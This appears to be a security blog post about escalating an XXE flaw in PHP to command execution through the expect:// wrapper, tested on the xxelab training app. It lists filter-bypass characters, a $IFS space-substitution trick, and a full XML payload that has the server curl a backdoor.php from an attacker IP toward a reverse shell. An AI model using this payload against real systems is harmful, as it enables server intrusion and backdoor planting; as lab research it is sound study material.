# From XXE to RCE with PHP/expect — The Missing Link

Airman Follow
Jun 7 · 3 min read

I've been experimenting with **xxelab** (https://github.com/jbarone/xxelab), a simple PHP web app demonstrating XXE attacks, trying to replicate code execution through `expect://` PHP wrapper. (Shameless plug — my recently submitted pull request allows you to run **xxelab** in a Docker container). This technique is well described in a number of articles on the Internet, for example here:

**XXE - The Ugly Side of XML · Cave Confessions**

The eXtensible Markup Language (XML) has a very long and lustrious reputation for being he go-to language for storing...

caveconfessions.com

Or here:

https://www.gardienvirtuel.ca/fr/actualites/from-xml-to-rce.ph

The idea is that you provide a reference to `expect://id` pseudo URI

for the XML external entity, and PHP will execute `id` and return the output of the command for external entity substitution.

Turns out it was quite a lot of work to get from that to a "useful" code execution. The problem is, PHP's XML parser will error out if you have spaces in the expect pseudo URI, i.e. when providing arguments for the command. You might see something like this in the error log when trying `expect://echo BLAH`:

```
DOMDocument::loadXML(): Invalid URI: expect://echo BLAH in
Entity, line: 2
```

## What I Found

Firstly, in addition to spaces, the following characters will be rejected with the "Invalid URI" error message similar to above (this might not be an exhaustive list):

```
" - double quotes
{ } - curly braces
| - "pipe"
\ - backslash
< > - angle brackets
: - colon
```

The following characters work fine:

```
' - single quote
; - semicolon
( ) - brackets
$ - dollar sign
```

This makes it hard to pass arguments to commands, redirect output, or use shell pipes.

When constructing `expect://` pseudo URLs for external entity reference in XML you shouldn't URL encode the string (it is interpreted literally). So using `%20` or `+` instead of space doesn't work, and neither does XML encoding like `&#x20;` or `&#32;`.

## Making It Work

One workaround that I found uses the `$IFS` built-in variable in `sh` and relies on the fact that the dollar sign is accepted. The core technique is to replace any spaces in your command with `$IFS`. In some cases this needs to be combined with the use of single quotes when a space needs to be followed by alphanumeric characters (so that they are not interpreted as a part of the variable name). Here's a couple examples:

`cat /tmp/BLAH` becomes `cat$IFS/tmp/BLAH`

`echo BLAH` becomes `echo$IFS'BLAH'`

`curl -O http://1.3.3.7/BLAH` becomes `curl$IFS-O$IFS'1.3.3.7/BLAH'` (`:` would not be allowed, but `curl` assumes it is http if you omit `http://`)

Using these, a possible way to get a reverse shell using XXE would be to upload a PHP reverse shell and then execute it using your browser. Here's a full example that works in **xxelab** (replace `1.3.3.7` with your IP and serve `backdoor.php` using `python3 -m http.server`):

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY file SYSTEM "expect://curl$IFS-O$IFS'1.3.3.7:8000
/backdoor.php'">
]>
<root>
  <name>Joe</name>
  <tel>ufgh</tel>
  <email>START_&file;_END</email>
  <password>kjh</password>
</root>
```

Note that `:` is not rejected in this case, it looks like colon is allowed if followed by a number and a forward slash, which likely looks like a port spec for the URI parser. By using `&file;` in the `email` tag you will see the output of the `curl` command when submitting the request in **xxelab**.